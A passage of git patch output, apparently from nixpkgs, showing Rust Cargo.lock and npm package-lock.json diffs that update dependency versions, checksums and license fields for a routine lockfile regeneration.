-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
-
 [[package]]
 name = "want"
 version = "0.2.0"
@@ -1671,6 +1800,15 @@ version = "0.10.0+wasi-snapshot-preview1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f"
 
+[[package]]
+name = "wasi"
+version = "0.14.2+wasi-0.2.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9683f9a5a998d873c0d21fcbe3c083009670149a8fab228644b8bd36b2c48cb3"
+dependencies = [
+ "wit-bindgen-rt",
+]
+
 [[package]]
 name = "winapi"
 version = "0.2.8"
@@ -1707,150 +1845,149 @@ checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
 
 [[package]]
 name = "windows-sys"
-version = "0.42.0"
+version = "0.59.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7"
+checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
 dependencies = [
- "windows_aarch64_gnullvm 0.42.2",
- "windows_aarch64_msvc 0.42.2",
- "windows_i686_gnu 0.42.2",
- "windows_i686_msvc 0.42.2",
- "windows_x86_64_gnu 0.42.2",
- "windows_x86_64_gnullvm 0.42.2",
- "windows_x86_64_msvc 0.42.2",
+ "windows-targets 0.52.6",
 ]
 
 [[package]]
 name = "windows-sys"
-version = "0.45.0"
+version = "0.60.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0"
+checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb"
 dependencies = [
- "windows-targets 0.42.2",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.48.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
-dependencies = [
- "windows-targets 0.48.0",
+ "windows-targets 0.53.2",
 ]
 
 [[package]]
 name = "windows-targets"
-version = "0.42.2"
+version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071"
+checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
 dependencies = [
- "windows_aarch64_gnullvm 0.42.2",
- "windows_aarch64_msvc 0.42.2",
- "windows_i686_gnu 0.42.2",
- "windows_i686_msvc 0.42.2",
- "windows_x86_64_gnu 0.42.2",
- "windows_x86_64_gnullvm 0.42.2",
- "windows_x86_64_msvc 0.42.2",
+ "windows_aarch64_gnullvm 0.52.6",
+ "windows_aarch64_msvc 0.52.6",
+ "windows_i686_gnu 0.52.6",
+ "windows_i686_gnullvm 0.52.6",
+ "windows_i686_msvc 0.52.6",
+ "windows_x86_64_gnu 0.52.6",
+ "windows_x86_64_gnullvm 0.52.6",
+ "windows_x86_64_msvc 0.52.6",
 ]
 
 [[package]]
 name = "windows-targets"
-version = "0.48.0"
+version = "0.53.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7b1eb6f0cd7c80c79759c929114ef071b87354ce476d9d94271031c0497adfd5"
+checksum = "c66f69fcc9ce11da9966ddb31a40968cad001c5bedeb5c2b82ede4253ab48aef"
 dependencies = [
- "windows_aarch64_gnullvm 0.48.0",
- "windows_aarch64_msvc 0.48.0",
- "windows_i686_gnu 0.48.0",
- "windows_i686_msvc 0.48.0",
- "windows_x86_64_gnu 0.48.0",
- "windows_x86_64_gnullvm 0.48.0",
- "windows_x86_64_msvc 0.48.0",
+ "windows_aarch64_gnullvm 0.53.0",
+ "windows_aarch64_msvc 0.53.0",
+ "windows_i686_gnu 0.53.0",
+ "windows_i686_gnullvm 0.53.0",
+ "windows_i686_msvc 0.53.0",
+ "windows_x86_64_gnu 0.53.0",
+ "windows_x86_64_gnullvm 0.53.0",
+ "windows_x86_64_msvc 0.53.0",
 ]
 
 [[package]]
 name = "windows_aarch64_gnullvm"
-version = "0.42.2"
+version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8"
+checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
 
 [[package]]
 name = "windows_aarch64_gnullvm"
-version = "0.48.0"
+version = "0.53.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc"
+checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764"
 
 [[package]]
 name = "windows_aarch64_msvc"
-version = "0.42.2"
+version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43"
+checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
 
 [[package]]
 name = "windows_aarch64_msvc"
-version = "0.48.0"
+version = "0.53.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3"
+checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c"
 
 [[package]]
 name = "windows_i686_gnu"
-version = "0.42.2"
+version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f"
+checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
 
 [[package]]
 name = "windows_i686_gnu"
-version = "0.48.0"
+version = "0.53.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241"
+checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3"
+
+[[package]]
+name = "windows_i686_gnullvm"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
+
+[[package]]
+name = "windows_i686_gnullvm"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11"
 
 [[package]]
 name = "windows_i686_msvc"
-version = "0.42.2"
+version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060"
+checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
 
 [[package]]
 name = "windows_i686_msvc"
-version = "0.48.0"
+version = "0.53.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00"
+checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d"
 
 [[package]]
 name = "windows_x86_64_gnu"
-version = "0.42.2"
+version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36"
+checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
 
 [[package]]
 name = "windows_x86_64_gnu"
-version = "0.48.0"
+version = "0.53.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1"
+checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba"
 
 [[package]]
 name = "windows_x86_64_gnullvm"
-version = "0.42.2"
+version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3"
+checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
 
 [[package]]
 name = "windows_x86_64_gnullvm"
-version = "0.48.0"
+version = "0.53.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953"
+checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57"
 
 [[package]]
 name = "windows_x86_64_msvc"
-version = "0.42.2"
+version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0"
+checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
 
 [[package]]
 name = "windows_x86_64_msvc"
-version = "0.48.0"
+version = "0.53.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a"
+checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486"
 
 [[package]]
 name = "winreg"
@@ -1861,6 +1998,21 @@ dependencies = [
  "winapi 0.3.9",
 ]
 
+[[package]]
+name = "wit-bindgen-rt"
+version = "0.39.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1"
+dependencies = [
+ "bitflags 2.9.1",
+]
+
+[[package]]
+name = "writeable"
+version = "0.6.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ea2f10b9bb0928dfb1b42b65e1f9e36f7f54dbdf08457afefb38afcdec4fa2bb"
+
 [[package]]
 name = "ws2_32-sys"
 version = "0.2.1"
@@ -1870,3 +2022,81 @@ dependencies = [
  "winapi 0.2.8",
  "winapi-build",
 ]
+
+[[package]]
+name = "yoke"
+version = "0.8.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5f41bb01b8226ef4bfd589436a297c53d118f65921786300e427be8d487695cc"
+dependencies = [
+ "serde",
+ "stable_deref_trait",
+ "yoke-derive",
+ "zerofrom",
+]
+
+[[package]]
+name = "yoke-derive"
+version = "0.8.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "38da3c9736e16c5d3c8c597a9aaa5d1fa565d0532ae05e27c24aa62fb32c0ab6"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+ "synstructure 0.13.2",
+]
+
+[[package]]
+name = "zerofrom"
+version = "0.1.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "50cc42e0333e05660c3587f3bf9d0478688e15d870fab3346451ce7f8c9fbea5"
+dependencies = [
+ "zerofrom-derive",
+]
+
+[[package]]
+name = "zerofrom-derive"
+version = "0.1.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d71e5d6e06ab090c67b5e44993ec16b72dcbaabc526db883a360057678b48502"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+ "synstructure 0.13.2",
+]
+
+[[package]]
+name = "zerotrie"
+version = "0.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "36f0bbd478583f79edad978b407914f61b2972f5af6fa089686016be8f9af595"
+dependencies = [
+ "displaydoc",
+ "yoke",
+ "zerofrom",
+]
+
+[[package]]
+name = "zerovec"
+version = "0.11.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4a05eb080e015ba39cc9e23bbe5e7fb04d5fb040350f99f34e338d5fdd294428"
+dependencies = [
+ "yoke",
+ "zerofrom",
+ "zerovec-derive",
+]
+
+[[package]]
+name = "zerovec-derive"
+version = "0.11.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5b96237efa0c878c64bd89c436f661be4e46b2f3eff1ebb976f7ef2321d2f58f"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]

From 4bacde97d2d5228a4d361f27efec7bd6a62e9c61 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Tue, 8 Jul 2025 11:12:11 -0400
Subject: [PATCH 2199/4511] dim: regenerate lockfile

Updates some vulnerable dependencies.

(cherry picked from commit 0e575986684137a89cdcafec5d3ea57e50acbab0)
---
 pkgs/by-name/di/dim/package-lock.json | 9884 ++++++++++++-------------
 pkgs/by-name/di/dim/package.nix       |    2 +-
 2 files changed, 4815 insertions(+), 5071 deletions(-)

diff --git a/pkgs/by-name/di/dim/package-lock.json b/pkgs/by-name/di/dim/package-lock.json
index 06c7e633ff59..2a11d5e38475 100644
--- a/pkgs/by-name/di/dim/package-lock.json
+++ b/pkgs/by-name/di/dim/package-lock.json
@@ -45,24 +45,18 @@
         "prettier": "^2.5.1"
       }
     },
-    "node_modules/@aashutoshrathi/word-wrap": {
-      "version": "1.2.6",
-      "resolved": "https://registry.npmjs.org/@aashutoshrathi/word-wrap/-/word-wrap-1.2.6.tgz",
-      "integrity": "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA==",
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
     "node_modules/@adobe/css-tools": {
-      "version": "4.3.3",
-      "resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.3.3.tgz",
-      "integrity": "sha512-rE0Pygv0sEZ4vBWHlAgJLGDU7Pm8xoO6p3wsEceb7GYAjScrOHpEo8KK/eVkAcnSM+slAEtXjA2JpdjLp4fJQQ==",
-      "dev": true
+      "version": "4.4.3",
+      "resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.4.3.tgz",
+      "integrity": "sha512-VQKMkwriZbaOgVCby1UDY/LDk5fIjhQicCvVPFqfe+69fWaPWydbWJ3wRt59/YzIwda1I81loas3oCoHxnqvdA==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@alloc/quick-lru": {
       "version": "5.2.0",
       "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz",
       "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -71,52 +65,57 @@
       }
     },
     "node_modules/@ampproject/remapping": {
-      "version": "2.2.1",
-      "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.1.tgz",
-      "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==",
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.3.0.tgz",
+      "integrity": "sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@jridgewell/gen-mapping": "^0.3.0",
-        "@jridgewell/trace-mapping": "^0.3.9"
+        "@jridgewell/gen-mapping": "^0.3.5",
+        "@jridgewell/trace-mapping": "^0.3.24"
       },
       "engines": {
         "node": ">=6.0.0"
       }
     },
     "node_modules/@babel/code-frame": {
-      "version": "7.23.5",
-      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.23.5.tgz",
-      "integrity": "sha512-CgH3s1a96LipHCmSUmYFPwY7MNx8C3avkq7i4Wl3cfa662ldtUe4VM1TPXX70pfmrlWTb6jLqTYrZyT2ZTJBgA==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz",
+      "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/highlight": "^7.23.4",
-        "chalk": "^2.4.2"
+        "@babel/helper-validator-identifier": "^7.27.1",
+        "js-tokens": "^4.0.0",
+        "picocolors": "^1.1.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/compat-data": {
-      "version": "7.23.5",
-      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.23.5.tgz",
-      "integrity": "sha512-uU27kfDRlhfKl+w1U6vp16IuvSLtjAxdArVXPa9BvLkrr7CYIsxH5adpHObeAGY/41+syctUWOZ140a2Rvkgjw==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.0.tgz",
+      "integrity": "sha512-60X7qkglvrap8mn1lh2ebxXdZYtUcpd7gsmy9kLaBJ4i/WdY8PqTSdxyA8qraikqKQK5C1KRBKXqznrVapyNaw==",
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/core": {
-      "version": "7.23.9",
-      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.23.9.tgz",
-      "integrity": "sha512-5q0175NOjddqpvvzU+kDiSOAk4PfdO6FvwCWoQ6RO7rTzEe8vlo+4HVfcnAREhD4npMs0e9uZypjTwzZPCf/cw==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.0.tgz",
+      "integrity": "sha512-UlLAnTPrFdNGoFtbSXwcGFQBtQZJCNjaN6hQNP3UPvuNXT1i82N26KL3dZeIpNalWywr9IuQuncaAfUaS1g6sQ==",
+      "license": "MIT",
       "dependencies": {
         "@ampproject/remapping": "^2.2.0",
-        "@babel/code-frame": "^7.23.5",
-        "@babel/generator": "^7.23.6",
-        "@babel/helper-compilation-targets": "^7.23.6",
-        "@babel/helper-module-transforms": "^7.23.3",
-        "@babel/helpers": "^7.23.9",
-        "@babel/parser": "^7.23.9",
-        "@babel/template": "^7.23.9",
-        "@babel/traverse": "^7.23.9",
-        "@babel/types": "^7.23.9",
+        "@babel/code-frame": "^7.27.1",
+        "@babel/generator": "^7.28.0",
+        "@babel/helper-compilation-targets": "^7.27.2",
+        "@babel/helper-module-transforms": "^7.27.3",
+        "@babel/helpers": "^7.27.6",
+        "@babel/parser": "^7.28.0",
+        "@babel/template": "^7.27.2",
+        "@babel/traverse": "^7.28.0",
+        "@babel/types": "^7.28.0",
         "convert-source-map": "^2.0.0",
         "debug": "^4.1.0",
         "gensync": "^1.0.0-beta.2",
@@ -132,9 +131,10 @@
       }
     },
     "node_modules/@babel/eslint-parser": {
-      "version": "7.23.10",
-      "resolved": "https://registry.npmjs.org/@babel/eslint-parser/-/eslint-parser-7.23.10.tgz",
-      "integrity": "sha512-3wSYDPZVnhseRnxRJH6ZVTNknBz76AEnyC+AYYhasjP3Yy23qz0ERR7Fcd2SHmYuSFJ2kY9gaaDd3vyqU09eSw==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/eslint-parser/-/eslint-parser-7.28.0.tgz",
+      "integrity": "sha512-N4ntErOlKvcbTt01rr5wj3y55xnIdx1ymrfIr8C2WnM1Y9glFgWaGDEULJIazOX3XM9NRzhfJ6zZnQ1sBNWU+w==",
+      "license": "MIT",
       "dependencies": {
         "@nicolo-ribaudo/eslint-scope-5-internals": "5.1.1-v1",
         "eslint-visitor-keys": "^2.1.0",
@@ -145,61 +145,55 @@
       },
       "peerDependencies": {
         "@babel/core": "^7.11.0",
-        "eslint": "^7.5.0 || ^8.0.0"
+        "eslint": "^7.5.0 || ^8.0.0 || ^9.0.0"
       }
     },
     "node_modules/@babel/eslint-parser/node_modules/eslint-visitor-keys": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz",
       "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==",
+      "license": "Apache-2.0",
       "engines": {
         "node": ">=10"
       }
     },
     "node_modules/@babel/generator": {
-      "version": "7.23.6",
-      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.23.6.tgz",
-      "integrity": "sha512-qrSfCYxYQB5owCmGLbl8XRpX1ytXlpueOb0N0UmQwA073KZxejgQTzAmJezxvpwQD9uGtK2shHdi55QT+MbjIw==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.0.tgz",
+      "integrity": "sha512-lJjzvrbEeWrhB4P3QBsH7tey117PjLZnDbLiQEKjQ/fNJTjuq4HSqgFA+UNSwZT8D7dxxbnuSBMsa1lrWzKlQg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/types": "^7.23.6",
-        "@jridgewell/gen-mapping": "^0.3.2",
-        "@jridgewell/trace-mapping": "^0.3.17",
-        "jsesc": "^2.5.1"
+        "@babel/parser": "^7.28.0",
+        "@babel/types": "^7.28.0",
+        "@jridgewell/gen-mapping": "^0.3.12",
+        "@jridgewell/trace-mapping": "^0.3.28",
+        "jsesc": "^3.0.2"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-annotate-as-pure": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.22.5.tgz",
-      "integrity": "sha512-LvBTxu8bQSQkcyKOU+a1btnNFQ1dMAd0R6PyW3arXes06F6QLWLIrd681bxRPIXlrMGR3XYnW9JyML7dP3qgxg==",
+      "version": "7.27.3",
+      "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.27.3.tgz",
+      "integrity": "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/types": "^7.22.5"
-      },
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
-    "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": {
-      "version": "7.22.15",
-      "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.22.15.tgz",
-      "integrity": "sha512-QkBXwGgaoC2GtGZRoma6kv7Szfv06khvhFav67ZExau2RaXzy8MpHSMO2PNoP2XtmQphJQRHFfg77Bq731Yizw==",
-      "dependencies": {
-        "@babel/types": "^7.22.15"
+        "@babel/types": "^7.27.3"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-compilation-targets": {
-      "version": "7.23.6",
-      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.23.6.tgz",
-      "integrity": "sha512-9JB548GZoQVmzrFgp8o7KxdgkTGm6xs9DW0o/Pim72UDjzr5ObUQ6ZzYPqA+g9OTS2bBQoctLJrky0RDCAWRgQ==",
+      "version": "7.27.2",
+      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz",
+      "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/compat-data": "^7.23.5",
-        "@babel/helper-validator-option": "^7.23.5",
-        "browserslist": "^4.22.2",
+        "@babel/compat-data": "^7.27.2",
+        "@babel/helper-validator-option": "^7.27.1",
+        "browserslist": "^4.24.0",
         "lru-cache": "^5.1.1",
         "semver": "^6.3.1"
       },
@@ -208,18 +202,17 @@
       }
     },
     "node_modules/@babel/helper-create-class-features-plugin": {
-      "version": "7.23.10",
-      "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.23.10.tgz",
-      "integrity": "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.27.1.tgz",
+      "integrity": "sha512-QwGAmuvM17btKU5VqXfb+Giw4JcN0hjuufz3DYnpeVDvZLAObloM77bhMXiqry3Iio+Ai4phVRDwl6WU10+r5A==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-annotate-as-pure": "^7.22.5",
-        "@babel/helper-environment-visitor": "^7.22.20",
-        "@babel/helper-function-name": "^7.23.0",
-        "@babel/helper-member-expression-to-functions": "^7.23.0",
-        "@babel/helper-optimise-call-expression": "^7.22.5",
-        "@babel/helper-replace-supers": "^7.22.20",
-        "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5",
-        "@babel/helper-split-export-declaration": "^7.22.6",
+        "@babel/helper-annotate-as-pure": "^7.27.1",
+        "@babel/helper-member-expression-to-functions": "^7.27.1",
+        "@babel/helper-optimise-call-expression": "^7.27.1",
+        "@babel/helper-replace-supers": "^7.27.1",
+        "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1",
+        "@babel/traverse": "^7.27.1",
         "semver": "^6.3.1"
       },
       "engines": {
@@ -230,12 +223,13 @@
       }
     },
     "node_modules/@babel/helper-create-regexp-features-plugin": {
-      "version": "7.22.15",
-      "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.22.15.tgz",
-      "integrity": "sha512-29FkPLFjn4TPEa3RE7GpW+qbE8tlsu3jntNYNfcGsc49LphF1PQIiD+vMZ1z1xVOKt+93khA9tc2JBs3kBjA7w==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.27.1.tgz",
+      "integrity": "sha512-uVDC72XVf8UbrH5qQTc18Agb8emwjTiZrQE11Nv3CuBEZmVvTwwE9CBUEvHku06gQCAyYf8Nv6ja1IN+6LMbxQ==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-annotate-as-pure": "^7.22.5",
-        "regexpu-core": "^5.3.1",
+        "@babel/helper-annotate-as-pure": "^7.27.1",
+        "regexpu-core": "^6.2.0",
         "semver": "^6.3.1"
       },
       "engines": {
@@ -246,83 +240,65 @@
       }
     },
     "node_modules/@babel/helper-define-polyfill-provider": {
-      "version": "0.5.0",
-      "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.5.0.tgz",
-      "integrity": "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q==",
+      "version": "0.6.5",
+      "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.6.5.tgz",
+      "integrity": "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-compilation-targets": "^7.22.6",
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "debug": "^4.1.1",
+        "@babel/helper-compilation-targets": "^7.27.2",
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "debug": "^4.4.1",
         "lodash.debounce": "^4.0.8",
-        "resolve": "^1.14.2"
+        "resolve": "^1.22.10"
       },
       "peerDependencies": {
         "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0"
       }
     },
-    "node_modules/@babel/helper-environment-visitor": {
-      "version": "7.22.20",
-      "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.20.tgz",
-      "integrity": "sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA==",
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
-    "node_modules/@babel/helper-function-name": {
-      "version": "7.23.0",
-      "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.23.0.tgz",
-      "integrity": "sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw==",
-      "dependencies": {
-        "@babel/template": "^7.22.15",
-        "@babel/types": "^7.23.0"
-      },
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
-    "node_modules/@babel/helper-hoist-variables": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz",
-      "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==",
-      "dependencies": {
-        "@babel/types": "^7.22.5"
-      },
